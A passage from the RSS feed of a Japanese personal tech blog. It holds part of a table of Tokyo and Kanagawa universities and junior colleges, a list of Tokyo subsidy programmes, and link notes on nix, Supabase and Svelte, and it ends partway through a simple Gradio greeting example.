&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;実践女子大学短期大学部&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;女子栄養大学短期大学部&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;女子美術大学短期大学部&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;星美学園短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;創価女子短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;帝京大学短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;帝京短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;貞静学園短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;戸板女子短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京家政大学短期大学部&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京交通短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京女子体育短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京成徳短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京立正短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東邦音楽短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;桐朋学園芸術短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;新渡戸文化短期大学&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;目白大学短期大学部&lt;/td&gt;
&lt;td&gt;東京都&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;横浜国立大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;横浜市立大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;公立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;神奈川大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;神奈川工科大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;関東学院大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;産業能率大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;湘南鎌倉医療大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;松蔭大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;湘南工科大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;昭和音楽大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;女子美術大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;洗足学園音楽大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;鶴見大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;桐蔭横浜大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東海大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東京工芸大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;東洋英和女学院大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ビューティー＆ウェルネス専門職大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;フェリス女学院大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;文教大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;横浜商科大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;横浜創英大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;横浜美術大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;小田原短期大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;湘北短期大学&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;昭和音楽大学短期大学部&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;上智大学短期大学部&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;鶴見大学短期大学部&lt;/td&gt;
&lt;td&gt;神奈川県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="その他"&gt;その他&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;準大手 (&lt;a href="https://reashu.com/career-tasu-agent/"&gt;https://reashu.com/career-tasu-agent/&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;LINE で完結する (&lt;a href="https://doneru.jp/business-tips/career-tasu/"&gt;https://doneru.jp/business-tips/career-tasu/&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="求めるスキルセット"&gt;求めるスキルセット&lt;/h2&gt;
&lt;p&gt;能力:&lt;/p&gt;</description></item><item><title>補助金助成金</title><link>https://hdknr.github.io/blogs/posts/2025/01/%E8%A3%9C%E5%8A%A9%E9%87%91%E5%8A%A9%E6%88%90%E9%87%91/</link><pubDate>Thu, 16 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/%E8%A3%9C%E5%8A%A9%E9%87%91%E5%8A%A9%E6%88%90%E9%87%91/</guid><description>&lt;h1 id="補助金"&gt;補助金&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/46684"&gt;東京都：「観光事業者のデジタル化促進事業補助金」≪ 第 2 回 ≫（令和 6 年度）&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/44813"&gt;東京都：「令和 6 年度高齢者向け新ビジネス創出支援事業」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/45882"&gt;東京都：「AI 等先端技術を活用した受入環境高度化支援事業」≪ 追加&amp;hellip;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/45807"&gt;東京都：「フィンテック企業に対する海外展開支援補助金」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/list?pref_id=13&amp;amp;page=10"&gt;東京都：「AI 等先端技術を活用した受入環境高度化支援事業」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/list?pref_id=13&amp;amp;page=11"&gt;東京都品川区：「ソフトウェア開発促進助成」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/41008"&gt;東京都：「プロジェクションマッピング促進支援事業助成金」≪ 第 2 回&amp;hellip;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/45274"&gt;東京都練馬区：「ホームページ作成費補助事業」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/list?pref_id=13&amp;amp;page=15"&gt;東京都：「蓄熱槽等を活用したエネルギーマネジメント推進事業」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/44855"&gt;東京都：「商店街デジタル化推進事業費補助金」≪ 追加募集 ≫&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/44777"&gt;東京都：「TOKYO 戦略的イノベーション促進事業」（令和 6 年度）&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/44636"&gt;東京都品川区：「エンジニア確保支援事業助成」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/44634"&gt;東京都品川区：「インターンシップ事業促進助成」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/44633"&gt;東京都品川区：「産学連携開発支援」（令和 6 年度）&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/44631"&gt;東京都品川区：「講習会、研修会の講師料助成」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/44625"&gt;東京都品川区：「事業 PR・販売促進支援助成事業」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/44415"&gt;東京都：「介護 DX 推進人材育成支援事業」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/44413"&gt;東京都足立区：「IT・IoT 導入補助金」（令和 6 年度）&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/44077"&gt;東京都港区：「港区中小企業デジタル技術導入促進補助金」（令和 6 年&amp;hellip;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/43727"&gt;東京都江戸川区：「販路拡大支援事業助成金」（令和 6 年度）&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/43447"&gt;東京都港区：「港区中小企業ソフトウェア導入費等支援事業補助金」（&amp;hellip;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/43169"&gt;東京都世田谷区：「せたがやソーシャルビジネス支援補助金」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/41009"&gt;東京都：「プロジェクションマッピング促進支援事業助成金」≪ 第 1 回&amp;hellip;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/42656"&gt;東京都足立区：「ホームページ作成・更新補助金」（令和 6 年度）&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/42040"&gt;東京都：「東京都臨海副都心 DX 推進事業」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/41079"&gt;東京都荒川区：「ホームページ作成補助金」&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/40404"&gt;東京都中央区：「中央区中小企業ホームページ作成費補助金」（令和 6&amp;hellip;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hojyokin-portal.jp/subsidies/40817"&gt;東京都：「観光事業者のデジタル化促進事業補助金」（令和 6 年度）&lt;/a&gt;&lt;/p&gt;</description></item><item><title>nix</title><link>https://hdknr.github.io/blogs/posts/2025/01/nix/</link><pubDate>Sun, 05 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/nix/</guid><description>&lt;h1 id="nix"&gt;nix&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/Sumi-Sumi/items/8e43d970e7b54e969cbe"&gt;NIXで管理するpython環境&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="uv"&gt;uv&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.astral.sh/uv/"&gt;https://docs.astral.sh/uv/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;nix: &lt;a href="https://github.com/pyproject-nix/uv2nix"&gt;https://github.com/pyproject-nix/uv2nix&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Superbase</title><link>https://hdknr.github.io/blogs/posts/2025/01/superbase/</link><pubDate>Sun, 05 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/superbase/</guid><description>&lt;h1 id="supabase"&gt;supabase&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://supabase.com/"&gt;https://supabase.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kabochapo/items/6a2a391832825d17af7d"&gt;飛躍的に伸びているBaaS「Supabase」の概要と所感&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="postgrest"&gt;PostgREST&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.postgrest.org/en/v12/"&gt;https://docs.postgrest.org/en/v12/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="aws"&gt;AWS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/supabase-community/supabase-on-aws"&gt;https://github.com/supabase-community/supabase-on-aws&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Terraform:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://supabase.com/docs/guides/deployment/terraform"&gt;https://supabase.com/docs/guides/deployment/terraform&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="postgraphile"&gt;PostGraphile&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.graphile.org/postgraphile/"&gt;https://www.graphile.org/postgraphile/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Svelte</title><link>https://hdknr.github.io/blogs/posts/2025/01/svelte/</link><pubDate>Sun, 05 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/svelte/</guid><description>&lt;h1 id="svelte"&gt;Svelte&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://svelte.jp/tutorial/svelte/welcome-to-svelte"&gt;チュートリアル&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://svelte.jp/docs/svelte/overview"&gt;ドキュメント:Svelte&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="gradio"&gt;Gradio&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; gradio &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; gr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;greet&lt;/span&gt;(name):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Hello, &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;name&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
